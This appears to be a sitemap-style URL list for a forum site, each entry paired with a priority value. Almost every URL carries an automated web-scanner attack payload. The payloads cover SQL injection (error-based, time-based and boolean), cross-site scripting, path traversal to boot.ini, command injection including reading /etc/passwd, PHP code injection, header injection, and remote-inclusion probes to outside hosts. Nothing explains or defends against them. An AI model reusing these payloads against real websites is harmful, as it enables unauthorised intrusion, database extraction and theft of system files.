http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list);%20IF(13=46)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list);%20IF(95=95)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=list6633x3X6 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=listAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=listJyI%3D 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=listalert(42873) 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=liste360 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=phpinfo 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=response.write(9412458*9542755) 0.0001 http://www.cncml.com/home.php?mod=spacecp&ac=usergroup&do=set%7Cset&set 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=%3Cdir 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=');print(md5(1122));// 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=(SELECT%20(CASE%20WHEN%20(17=34)%20THEN%200x7573657267726F7570%20ELSE%2017*(SELECT%2017%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=................windowswin.ini 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=;print(md5(1122));%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=C:%5Cboot.ini 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=dir 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=file:///c:/boot.ini 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=phpinfo 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=response.write(9412458*9542755) 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=set%7Cset&set 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup 0.0014 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%00' 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%20 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%25%27%29%20AND%2016%3D12%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%25%27%29%20AND%2017%3D17%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%25'%20AND%2014=59%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%25'%20AND%2074=74%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(59=59)%20THEN%20'usergroup'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(59=71)%20THEN%20'usergroup'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%2527 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%2527%20AND%2031=31%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%2527%20AND%2041=23%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%5B%5D 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%5C%22 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%5C' 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup%bf%27 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup' 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup'%20AND%20'3F'='zj 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup'%20AND%20'BS'='BS 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup'%20OR%20'M2'='M2'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(15=15)%20THEN%20'usergroup'%20ELSE%200x28%20END))%20AND%20'fz'='fz 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(53=36)%20THEN%20'usergroup'%20ELSE%200x28%20END))%20AND%20'Vr'='Vr 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup'%22 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup')%20AND%2086=86%20AND%20('aT'='aT 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup')%20AND%2088=61%20AND%20('5Y'='5Y 0.0001 http://www.cncml.com/home.php?mod=spacecp&do=list&ac=usergroup')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 